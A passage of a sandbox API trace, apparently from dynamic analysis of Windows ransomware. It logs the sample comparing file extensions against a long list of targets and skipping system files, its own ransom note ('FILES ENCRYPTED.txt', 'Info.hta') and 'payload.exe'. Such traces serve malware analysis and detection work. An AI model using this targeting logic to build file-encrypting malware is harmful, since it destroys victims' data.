returned -1 [0062.699] lstrlenW (lpString=".as") returned 3 [0062.699] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0062.699] lstrlenW (lpString=".asa") returned 4 [0062.699] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0062.700] lstrlenW (lpString=".asc") returned 4 [0062.700] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0062.700] lstrlenW (lpString=".ascx") returned 5 [0062.700] lstrcmpiW (lpString1=".ascx", lpString2="0.png") returned -1 [0062.700] lstrlenW (lpString=".asm") returned 4 [0062.700] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0062.700] lstrlenW (lpString=".asmx") returned 5 [0062.700] lstrcmpiW (lpString1=".asmx", lpString2="0.png") returned -1 [0062.700] lstrlenW (lpString=".asp") returned 4 [0062.700] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0062.700] lstrlenW (lpString=".aspx") returned 5 [0062.700] lstrcmpiW (lpString1=".aspx", lpString2="0.png") returned -1 [0062.700] lstrlenW (lpString=".asr") returned 4 [0062.700] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0062.700] lstrlenW (lpString=".asx") returned 4 [0062.700] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0062.700] lstrlenW (lpString=".avi") returned 4 [0062.700] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0062.700] lstrlenW (lpString=".avs") returned 4 [0062.700] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0062.700] lstrlenW (lpString=".backup") returned 7 [0062.700] lstrcmpiW (lpString1=".backup", lpString2="200.png") returned -1 [0062.700] lstrlenW (lpString=".bak") returned 4 [0062.700] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0062.700] lstrlenW (lpString=".bay") returned 4 [0062.700] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0062.700] lstrlenW (lpString=".bd") returned 3 [0062.700] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0062.700] lstrlenW (lpString=".bin") returned 4 [0062.700] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0062.700] lstrlenW (lpString=".bmp") returned 4 [0062.700] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0062.700] lstrlenW (lpString=".bz2") returned 4 [0062.701] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0062.701] lstrlenW (lpString=".c") returned 2 [0062.701] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0062.701] lstrlenW (lpString=".cdr") returned 4 [0062.701] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0062.701] lstrlenW (lpString=".cer") returned 4 [0062.701] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0062.701] lstrlenW (lpString=".cf") returned 3 [0062.701] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0062.701] lstrlenW (lpString=".cfc") returned 4 [0062.701] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0062.701] lstrlenW (lpString=".cfm") returned 4 [0062.701] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0062.701] lstrlenW (lpString=".cfml") returned 5 [0062.701] lstrcmpiW (lpString1=".cfml", lpString2="0.png") returned -1 [0062.701] lstrlenW (lpString=".cfu") returned 4 [0062.701] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0062.701] lstrlenW (lpString=".chm") returned 4 [0062.701] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0062.701] lstrlenW (lpString=".cin") returned 4 [0062.701] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0062.701] lstrlenW (lpString=".class") returned 6 [0062.701] lstrcmpiW (lpString1=".class", lpString2="00.png") returned -1 [0062.701] lstrlenW (lpString=".clx") returned 4 [0062.701] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0062.701] lstrlenW (lpString=".config") returned 7 [0062.701] lstrcmpiW (lpString1=".config", lpString2="200.png") returned -1 [0062.701] lstrlenW (lpString=".cpp") returned 4 [0062.701] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0062.701] lstrlenW (lpString=".cr2") returned 4 [0062.701] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0062.701] lstrlenW (lpString=".crt") returned 4 [0062.701] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0062.701] lstrlenW (lpString=".crw") returned 4 [0062.702] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0062.702] lstrlenW (lpString=".cs") returned 3 [0062.702] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0062.702] lstrlenW (lpString=".css") returned 4 [0062.702] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0062.702] lstrlenW (lpString=".csv") returned 4 [0062.702] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0062.702] lstrlenW (lpString=".cub") returned 4 [0062.702] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0062.702] lstrlenW (lpString=".dae") returned 4 [0062.702] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0062.702] lstrlenW (lpString=".dat") returned 4 [0062.702] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0062.702] lstrlenW (lpString=".db") returned 3 [0062.702] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0062.702] lstrlenW (lpString=".dbf") returned 4 [0062.702] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0062.702] lstrlenW (lpString=".dbx") returned 4 [0062.702] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0062.702] lstrlenW (lpString=".dc3") returned 4 [0062.702] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0062.702] lstrlenW (lpString=".dcm") returned 4 [0062.702] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0062.702] lstrlenW (lpString=".dcr") returned 4 [0062.702] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0062.702] lstrlenW (lpString=".der") returned 4 [0062.702] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0062.702] lstrlenW (lpString=".dib") returned 4 [0062.702] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0062.702] lstrlenW (lpString=".dic") returned 4 [0062.702] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0062.702] lstrlenW (lpString=".dif") returned 4 [0062.702] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0062.702] lstrlenW (lpString=".divx") returned 5 [0062.703] lstrcmpiW (lpString1=".divx", lpString2="0.png") returned -1 [0062.703] lstrlenW (lpString=".djvu") returned 5 [0062.703] lstrcmpiW (lpString1=".djvu", lpString2="0.png") returned -1 [0062.703] lstrlenW (lpString=".dng") returned 4 [0062.703] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0062.703] lstrlenW (lpString=".doc") returned 4 [0062.703] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0062.703] lstrlenW (lpString=".docm") returned 5 [0062.703] lstrcmpiW (lpString1=".docm", lpString2="0.png") returned -1 [0062.703] lstrlenW (lpString=".docx") returned 5 [0062.703] lstrcmpiW (lpString1=".docx", lpString2="0.png") returned -1 [0062.703] lstrlenW (lpString=".dot") returned 4 [0062.703] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0062.703] lstrlenW (lpString=".dotm") returned 5 [0062.703] lstrcmpiW (lpString1=".dotm", lpString2="0.png") returned -1 [0062.703] lstrlenW (lpString=".dotx") returned 5 [0062.703] lstrcmpiW (lpString1=".dotx", lpString2="0.png") returned -1 [0062.703] lstrlenW (lpString=".dpx") returned 4 [0062.703] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0062.703] lstrlenW (lpString=".dqy") returned 4 [0062.703] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0062.703] lstrlenW (lpString=".dsn") returned 4 [0062.703] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0062.703] lstrlenW (lpString=".dt") returned 3 [0062.703] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0062.703] lstrlenW (lpString=".dtd") returned 4 [0062.703] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0062.703] lstrlenW (lpString=".dwg") returned 4 [0062.703] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0062.703] lstrlenW (lpString=".dwt") returned 4 [0062.703] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0062.703] lstrlenW (lpString=".dx") returned 3 [0062.703] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0062.704] lstrlenW (lpString=".dxf") returned 4 [0062.704] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0062.704] lstrlenW (lpString=".edml") returned 5 [0062.704] lstrcmpiW (lpString1=".edml", lpString2="0.png") returned -1 [0062.704] lstrlenW (lpString=".efd") returned 4 [0062.704] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0062.704] lstrlenW (lpString=".elf") returned 4 [0062.704] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0062.704] lstrlenW (lpString=".emf") returned 4 [0062.704] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0062.704] lstrlenW (lpString=".emz") returned 4 [0062.704] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0062.704] lstrlenW (lpString=".epf") returned 4 [0062.704] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0062.704] lstrlenW (lpString=".eps") returned 4 [0062.704] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0062.704] lstrlenW (lpString=".epsf") returned 5 [0062.704] lstrcmpiW (lpString1=".epsf", lpString2="0.png") returned -1 [0062.704] lstrlenW (lpString=".epsp") returned 5 [0062.704] lstrcmpiW (lpString1=".epsp", lpString2="0.png") returned -1 [0062.704] lstrlenW (lpString=".erf") returned 4 [0062.705] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0062.705] lstrlenW (lpString=".exr") returned 4 [0062.705] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0062.705] lstrlenW (lpString=".f4v") returned 4 [0062.705] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0062.705] lstrlenW (lpString=".fido") returned 5 [0062.705] lstrcmpiW (lpString1=".fido", lpString2="0.png") returned -1 [0062.705] lstrlenW (lpString=".flm") returned 4 [0062.705] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0062.705] lstrlenW (lpString=".flv") returned 4 [0062.705] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0062.705] lstrlenW (lpString=".frm") returned 4 [0062.705] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0062.705] lstrlenW (lpString=".fxg") returned 4 [0062.705] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0062.705] lstrlenW (lpString=".geo") returned 4 [0062.705] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0062.705] lstrlenW (lpString=".gif") returned 4 [0062.705] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0062.705] lstrlenW (lpString=".grs") returned 4 [0062.705] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0062.705] lstrlenW (lpString=".gz") returned 3 [0062.705] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0062.705] lstrlenW (lpString=".h") returned 2 [0062.705] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0062.705] lstrlenW (lpString=".hdr") returned 4 [0062.705] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0062.705] lstrlenW (lpString=".hpp") returned 4 [0062.705] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0062.705] lstrlenW (lpString=".hta") returned 4 [0062.705] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0062.705] lstrlenW (lpString=".htc") returned 4 [0062.706] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0062.706] lstrlenW (lpString=".htm") returned 4 [0062.706] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0062.706] lstrlenW (lpString=".html") returned 5 [0062.706] lstrcmpiW (lpString1=".html", lpString2="0.png") returned -1 [0062.706] lstrlenW (lpString=".icb") returned 4 [0062.706] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0062.706] lstrlenW (lpString=".ics") returned 4 [0062.706] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0062.706] lstrlenW (lpString=".iff") returned 4 [0062.706] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0062.706] lstrlenW (lpString=".inc") returned 4 [0062.706] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0062.706] lstrlenW (lpString=".indd") returned 5 [0062.706] lstrcmpiW (lpString1=".indd", lpString2="0.png") returned -1 [0062.706] lstrlenW (lpString=".ini") returned 4 [0062.706] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0062.706] lstrlenW (lpString=".iqy") returned 4 [0062.706] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0062.706] lstrlenW (lpString=".j2c") returned 4 [0062.706] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0062.706] lstrlenW (lpString=".j2k") returned 4 [0062.706] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0062.706] lstrlenW (lpString=".java") returned 5 [0062.706] lstrcmpiW (lpString1=".java", lpString2="0.png") returned -1 [0062.706] lstrlenW (lpString=".jp2") returned 4 [0062.706] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0062.706] lstrlenW (lpString=".jpc") returned 4 [0062.706] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0062.706] lstrlenW (lpString=".jpe") returned 4 [0062.706] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0062.706] lstrlenW (lpString=".jpeg") returned 5 [0062.706] lstrcmpiW (lpString1=".jpeg", lpString2="0.png") returned -1 [0062.706] lstrlenW (lpString=".jpf") returned 4 [0062.706] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0062.706] lstrlenW (lpString=".jpg") returned 4 [0062.706] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0062.707] lstrlenW (lpString=".jpx") returned 4 [0062.707] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0062.707] lstrlenW (lpString=".js") returned 3 [0062.707] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0062.707] lstrlenW (lpString=".jsf") returned 4 [0062.707] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0062.707] lstrlenW (lpString=".json") returned 5 [0062.707] lstrcmpiW (lpString1=".json", lpString2="0.png") returned -1 [0062.707] lstrlenW (lpString=".jsp") returned 4 [0062.707] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0062.707] lstrlenW (lpString=".kdc") returned 4 [0062.707] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0062.707] lstrlenW (lpString=".kmz") returned 4 [0062.707] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0062.707] lstrlenW (lpString=".kwm") returned 4 [0062.707] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0062.707] lstrlenW (lpString=".lasso") returned 6 [0062.707] lstrcmpiW (lpString1=".lasso", lpString2="00.png") returned -1 [0062.707] lstrlenW (lpString=".lbi") returned 4 [0062.707] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0062.707] lstrlenW (lpString=".lgf") returned 4 [0062.707] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0062.707] lstrlenW (lpString=".lgp") returned 4 [0062.707] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0062.707] lstrlenW (lpString=".log") returned 4 [0062.707] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0062.707] lstrlenW (lpString=".m1v") returned 4 [0062.707] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0062.707] lstrlenW (lpString=".m4a") returned 4 [0062.707] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0062.707] lstrlenW (lpString=".m4v") returned 4 [0062.707] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0062.707] lstrlenW (lpString=".max") returned 4 [0062.707] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0062.707] lstrlenW (lpString=".md") returned 3 [0062.707] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0062.707] lstrlenW (lpString=".mda") returned 4 [0062.708] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0062.708] lstrlenW (lpString=".mdb") returned 4 [0062.708] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0062.708] lstrlenW (lpString=".mde") returned 4 [0062.708] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0062.708] lstrlenW (lpString=".mdf") returned 4 [0062.708] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0062.708] lstrlenW (lpString=".mdw") returned 4 [0062.708] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0062.708] lstrlenW (lpString=".mef") returned 4 [0062.708] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0062.708] lstrlenW (lpString=".mft") returned 4 [0062.708] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0062.708] lstrlenW (lpString=".mfw") returned 4 [0062.708] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0062.708] lstrlenW (lpString=".mht") returned 4 [0062.708] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0062.708] lstrlenW (lpString=".mhtml") returned 6 [0062.708] lstrcmpiW (lpString1=".mhtml", lpString2="00.png") returned -1 [0062.708] lstrlenW (lpString=".mka") returned 4 [0062.708] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0062.708] lstrlenW (lpString=".mkidx") returned 6 [0062.708] lstrcmpiW (lpString1=".mkidx", lpString2="00.png") returned -1 [0062.708] lstrlenW (lpString=".mkv") returned 4 [0062.708] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0062.708] lstrlenW (lpString=".mos") returned 4 [0062.708] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0062.708] lstrlenW (lpString=".mov") returned 4 [0062.708] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0062.708] lstrlenW (lpString=".mp3") returned 4 [0062.708] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0062.708] lstrlenW (lpString=".mp4") returned 4 [0062.708] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0062.708] lstrlenW (lpString=".mpeg") returned 5 [0062.708] lstrcmpiW (lpString1=".mpeg", lpString2="0.png") returned -1 [0062.708] lstrlenW (lpString=".mpg") returned 4 [0062.708] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0062.709] lstrlenW (lpString=".mpv") returned 4 [0062.709] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0062.709] lstrlenW (lpString=".mrw") returned 4 [0062.709] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0062.709] lstrlenW (lpString=".msg") returned 4 [0062.709] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0062.709] lstrlenW (lpString=".mxl") returned 4 [0062.709] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0062.709] lstrlenW (lpString=".myd") returned 4 [0062.709] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0062.709] lstrlenW (lpString=".myi") returned 4 [0062.709] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0062.709] lstrlenW (lpString=".nef") returned 4 [0062.709] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0062.709] lstrlenW (lpString=".nrw") returned 4 [0062.709] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0062.709] lstrlenW (lpString=".obj") returned 4 [0062.709] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0062.709] lstrlenW (lpString=".odb") returned 4 [0062.709] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0062.709] lstrlenW (lpString=".odc") returned 4 [0062.709] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0062.709] lstrlenW (lpString=".odm") returned 4 [0062.709] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0062.709] lstrlenW (lpString=".odp") returned 4 [0062.709] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0062.709] lstrlenW (lpString=".ods") returned 4 [0062.709] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0062.709] lstrlenW (lpString=".oft") returned 4 [0062.709] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0062.709] lstrlenW (lpString=".one") returned 4 [0062.709] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0062.709] lstrlenW (lpString=".onepkg") returned 7 [0062.709] lstrcmpiW (lpString1=".onepkg", lpString2="200.png") returned -1 [0062.709] lstrlenW (lpString=".onetoc2") returned 8 [0062.709] lstrcmpiW (lpString1=".onetoc2", lpString2="-200.png") returned -1 [0062.710] lstrlenW (lpString=".opt") returned 4 [0062.710] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0062.710] lstrlenW (lpString=".oqy") returned 4 [0062.710] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0062.710] lstrlenW (lpString=".orf") returned 4 [0062.710] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0062.710] lstrlenW (lpString=".p12") returned 4 [0062.710] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0062.710] lstrlenW (lpString=".p7b") returned 4 [0062.710] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0062.710] lstrlenW (lpString=".p7c") returned 4 [0062.710] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0062.710] lstrlenW (lpString=".pam") returned 4 [0062.710] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0062.710] lstrlenW (lpString=".pbm") returned 4 [0062.710] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0062.710] lstrlenW (lpString=".pct") returned 4 [0062.710] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0062.710] lstrlenW (lpString=".pcx") returned 4 [0062.710] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0062.710] lstrlenW (lpString=".pdd") returned 4 [0062.710] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0062.710] lstrlenW (lpString=".pdf") returned 4 [0062.710] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0062.710] lstrlenW (lpString=".pdp") returned 4 [0062.710] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0062.710] lstrlenW (lpString=".pef") returned 4 [0062.710] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0062.710] lstrlenW (lpString=".pem") returned 4 [0062.710] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0062.710] lstrlenW (lpString=".pff") returned 4 [0062.710] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0062.710] lstrlenW (lpString=".pfm") returned 4 [0062.710] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0062.710] lstrlenW (lpString=".pfx") returned 4 [0062.710] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0062.710] lstrlenW (lpString=".pgm") returned 4 [0062.711] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0062.711] lstrlenW (lpString=".php") returned 4 [0062.711] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0062.711] lstrlenW (lpString=".php3") returned 5 [0062.711] lstrcmpiW (lpString1=".php3", lpString2="0.png") returned -1 [0062.711] lstrlenW (lpString=".php4") returned 5 [0062.711] lstrcmpiW (lpString1=".php4", lpString2="0.png") returned -1 [0062.711] lstrlenW (lpString=".php5") returned 5 [0062.711] lstrcmpiW (lpString1=".php5", lpString2="0.png") returned -1 [0062.711] lstrlenW (lpString=".phtml") returned 6 [0062.711] lstrcmpiW (lpString1=".phtml", lpString2="00.png") returned -1 [0062.711] lstrlenW (lpString=".pict") returned 5 [0062.711] lstrcmpiW (lpString1=".pict", lpString2="0.png") returned -1 [0062.711] lstrlenW (lpString=".pl") returned 3 [0062.711] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0062.711] lstrlenW (lpString=".pls") returned 4 [0062.711] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0062.711] lstrlenW (lpString=".pm") returned 3 [0062.711] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0062.711] lstrlenW (lpString=".png") returned 4 [0062.711] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0062.711] lstrlenW (lpString="StoreLogo.scale-200.png") returned 23 [0062.711] lstrlenW (lpString=".btix") returned 5 [0062.711] lstrcmpiW (lpString1=".btix", lpString2="0.png") returned -1 [0062.711] lstrlenW (lpString="StoreLogo.scale-200.png") returned 23 [0062.711] lstrcmpiW (lpString1="boot.ini", lpString2="StoreLogo.scale-200.png") returned -1 [0062.711] lstrcmpiW (lpString1="bootfont.bin", lpString2="StoreLogo.scale-200.png") returned -1 [0062.711] lstrcmpiW (lpString1="ntldr", lpString2="StoreLogo.scale-200.png") returned -1 [0062.711] lstrcmpiW (lpString1="ntdetect.com", lpString2="StoreLogo.scale-200.png") returned -1 [0062.711] lstrcmpiW (lpString1="io.sys", lpString2="StoreLogo.scale-200.png") returned -1 [0062.711] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="StoreLogo.scale-200.png") returned -1 [0062.711] lstrcmpiW (lpString1="Info.hta", lpString2="StoreLogo.scale-200.png") returned -1 [0062.711] lstrcmpiW (lpString1="payload.exe", lpString2="StoreLogo.scale-200.png") returned -1 [0062.711] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\StoreLogo.scale-200.png") returned 111 [0062.711] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.712] lstrlenW (lpString="toast.dualsim1.scale-200.png") returned 28 [0062.712] lstrlenW (lpString=".1cd") returned 4 [0062.712] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0062.712] lstrlenW (lpString=".3ds") returned 4 [0062.712] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0062.712] lstrlenW (lpString=".3fr") returned 4 [0062.712] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0062.712] lstrlenW (lpString=".3g2") returned 4 [0062.712] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0062.712] lstrlenW (lpString=".3gp") returned 4 [0062.712] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0062.712] lstrlenW (lpString=".7z") returned 3 [0062.712] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0062.712] lstrlenW (lpString=".accda") returned 6 [0062.712] lstrcmpiW (lpString1=".accda", lpString2="00.png") returned -1 [0062.712] lstrlenW (lpString=".accdb") returned 6 [0062.712] lstrcmpiW (lpString1=".accdb", lpString2="00.png") returned -1 [0062.712] lstrlenW (lpString=".accdc") returned 6 [0062.712] lstrcmpiW (lpString1=".accdc", lpString2="00.png") returned -1 [0062.712] lstrlenW (lpString=".accde") returned 6 [0062.712] lstrcmpiW (lpString1=".accde", lpString2="00.png") returned -1 [0062.712] lstrlenW (lpString=".accdt") returned 6 [0062.712] lstrcmpiW (lpString1=".accdt", lpString2="00.png") returned -1 [0062.712] lstrlenW (lpString=".accdw") returned 6 [0062.712] lstrcmpiW (lpString1=".accdw", lpString2="00.png") returned -1 [0062.712] lstrlenW (lpString=".adb") returned 4 [0062.712] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0062.712] lstrlenW (lpString=".adp") returned 4 [0062.712] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0062.712] lstrlenW (lpString=".ai") returned 3 [0062.712] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0062.712] lstrlenW (lpString=".ai3") returned 4 [0062.712] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0062.712] lstrlenW (lpString=".ai4") returned 4 [0062.712] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0062.712] lstrlenW (lpString=".ai5") returned 4 [0062.712] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0062.713] lstrlenW (lpString=".ai6") returned 4 [0062.713] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0062.713] lstrlenW (lpString=".ai7") returned 4 [0062.713] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.713] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.713] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.713] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 0 [0062.713] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0062.713] HeapFree (in: hHeap=0x690000, dwFlags=0x0, 